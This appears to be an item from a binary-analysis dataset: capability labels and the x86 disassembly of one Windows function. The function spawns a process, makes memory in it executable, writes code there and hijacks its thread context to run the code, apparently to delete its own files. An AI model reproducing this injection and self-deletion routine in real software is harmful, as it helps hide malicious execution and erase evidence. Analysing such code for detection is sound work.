Function at 0x401178
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Resume thread

Disassembly:
push ebp
lea ebp, [esp - 0xdfc]
sub esp, 0xe7c
mov eax, dword [0x40310c]
xor eax, ebp
mov dword [ebp + 0xdf8], eax
push ebx
push esi
push edi
push 0x40
xor esi, esi
lea eax, [ebp - 0x7c]
push esi
push eax
mov dword [ebp - 0x80], 0x44
call fcn.00401000
push 0x103
lea eax, [ebp + 0xbf1]
push esi
push eax
mov byte [ebp + 0xbf0], 0
call fcn.00401000
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
add esp, 0x18
mov ebx, 0x402114
push ebx
lea eax, [ebp + 0xbf0]
push eax
mov dword [ebp - 0x28], esi
call edi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x402110
lea eax, [ebp + 0xbf0]
push eax
call esi
push 0x40210c
lea eax, [ebp + 0xbf0]
push eax
call esi
push 0x402108
lea eax, [ebp + 0xbf0]
push eax
call esi
push 0x402104
lea eax, [ebp + 0xbf0]
push eax
call esi
push 0x402100
lea eax, [ebp + 0xbf0]
push eax
call esi
push ebx
lea eax, [ebp + 0xbf0]
push eax
call esi
push str.x.re
lea eax, [ebp + 0xbf0]
push eax
call esi
push ebx
lea eax, [ebp + 0xbf0]
push eax
call esi
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x80]
push eax
push 0x4020f8
xor eax, eax
push eax
push 0x44
push eax
push eax
push eax
lea ecx, [ebp + 0xbf0]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4014d4
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp + 0x4b4], eax
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp + 0x4bc], eax
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp + 0x4c0], eax
mov eax, dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp + 0x4c4], eax
mov eax, dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
mov dword [ebp + 0x4c8], eax
mov eax, dword [ebp + 0xe04]
mov dword [ebp + 0x4d0], eax
xor eax, eax
push eax
push eax
push eax
lea eax, [ebp + 0x4b0]
push eax
push dword [ebp - 0x38]
mov dword [ebp + 0x4b8], ebx
mov dword [ebp + 0x4cc], esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
push 0x104
lea eax, [ebp + 0x4d4]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp + 0x5d8]
push eax
lea eax, [ebp + 0x4d4]
push eax
call fcn.0040106c
pop ecx
pop ecx
lea eax, [ebp + 0x5d8]
push eax
lea eax, [ebp + 0xcf4]
push eax
call edi
lea eax, [ebp + 0xcf4]
push eax
call esi
cmp eax, 3
jle 0x40141f
lea eax, [ebp + 0xcf4]
push eax
call fcn.00401090
lea eax, [ebp + 0xcf4]
pop ecx
push eax
lea eax, [ebp + 0x5d8]
jmp 0x401408
lea eax, [ebp + 0xcf4]
push 0x5c
push eax
call fcn.00401051
pop ecx
pop ecx
push eax
call esi
mov dword [ebp - 0x24], 1
sub dword [ebp - 0x24], eax
lea eax, [ebp + 0xcf4]
push eax
call esi
add eax, dword [ebp - 0x24]
push eax
lea eax, [ebp + 0xcf4]
push eax
lea eax, [ebp + 0xaec]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
lea eax, [ebp + 0xaec]
push eax
lea eax, [ebp + 0xcf4]
push eax
call edi
lea eax, [ebp + 0xcf4]
push eax
call esi
cmp eax, 3
jle 0x40140b
inc dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
dec eax
je 0x4013fb
dec eax
je 0x4013ec
dec eax
je 0x4013dd
dec eax
jne 0x40140b
lea eax, [ebp + 0xcf4]
push eax
lea eax, [ebp + 0x9e8]
jmp 0x401408
lea eax, [ebp + 0xcf4]
push eax
lea eax, [ebp + 0x8e4]
jmp 0x401408
lea eax, [ebp + 0xcf4]
push eax
lea eax, [ebp + 0x7e0]
jmp 0x401408
lea eax, [ebp + 0xcf4]
push eax
lea eax, [ebp + 0x6dc]
push eax
call edi
lea eax, [ebp + 0xcf4]
push eax
call esi
cmp eax, 3
jg 0x401360
jmp 0x401426
and dword [ebp + 0x4d0], 0
push 0x200
lea eax, [ebp + 0x2b0]
push 0x4010b1
push eax
call fcn.00401030
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 0x34]
mov dword [ebp - 0x20], 0x10003
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov esi, dword [ebp + 0xa4]
add esi, 0xfffff7c0
and esi, 0xffffffe0
lea eax, [esi - 4]
mov dword [ebp + 0xa4], eax
lea eax, [esi + 4]
mov dword [ebp + 0x98], eax
lea eax, [ebp - 0x3c]
push eax
push 0x40
mov edi, 0x840
push edi
push esi
push dword [ebp - 0x38]
mov dword [ebp + 0x2ac], esi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 0
push edi
lea eax, [ebp + 0x2ac]
push eax
push esi
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push edi
push esi
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 0x34]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x34]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [ebp - 0x34]
call ebx
push dword [ebp - 0x38]
call ebx
xor eax, eax
inc eax
jmp 0x4014d6
xor eax, eax
mov ecx, dword [ebp + 0xdf8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401d4c
add ebp, 0xdfc
leave
ret